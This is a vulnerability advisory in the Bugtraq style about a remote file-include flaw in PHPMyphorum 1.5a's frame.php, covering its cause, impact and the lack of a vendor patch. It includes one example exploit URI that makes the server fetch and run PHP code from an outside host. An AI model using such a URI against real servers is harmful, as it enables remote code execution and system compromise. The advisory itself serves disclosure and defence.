PHPMyphorum Frame.PHP Remote File Include Vulnerability

Bugtraq ID:	22099
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 17 2007 12:00AM
Updated:	Jan 18 2007 03:30PM
Credit:	TheViper-hacker is credited with the discovery of this vulnerability.
Vulnerable:	PHPMyphorum PHPMyphorum 1.5a
Not Vulnerable:

PHPMyphorum Frame.PHP Remote File Include Vulnerability

PHPMyphorum is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

This issue is reported to affect version 1.5a; other versions may also be vulnerable.

PHPMyphorum Frame.PHP Remote File Include Vulnerability

Attackers can exploit this issue through a web client.

An example URI has been provided:

Http://www.example.com/[CommentIT_path]/mep/frame.php?chem=http://www.example2.com/viper.txt?

PHPMyphorum Frame.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

PHPMyphorum Frame.PHP Remote File Include Vulnerability

References:

• PHPMyphorum Web Site (PHPMyphorum)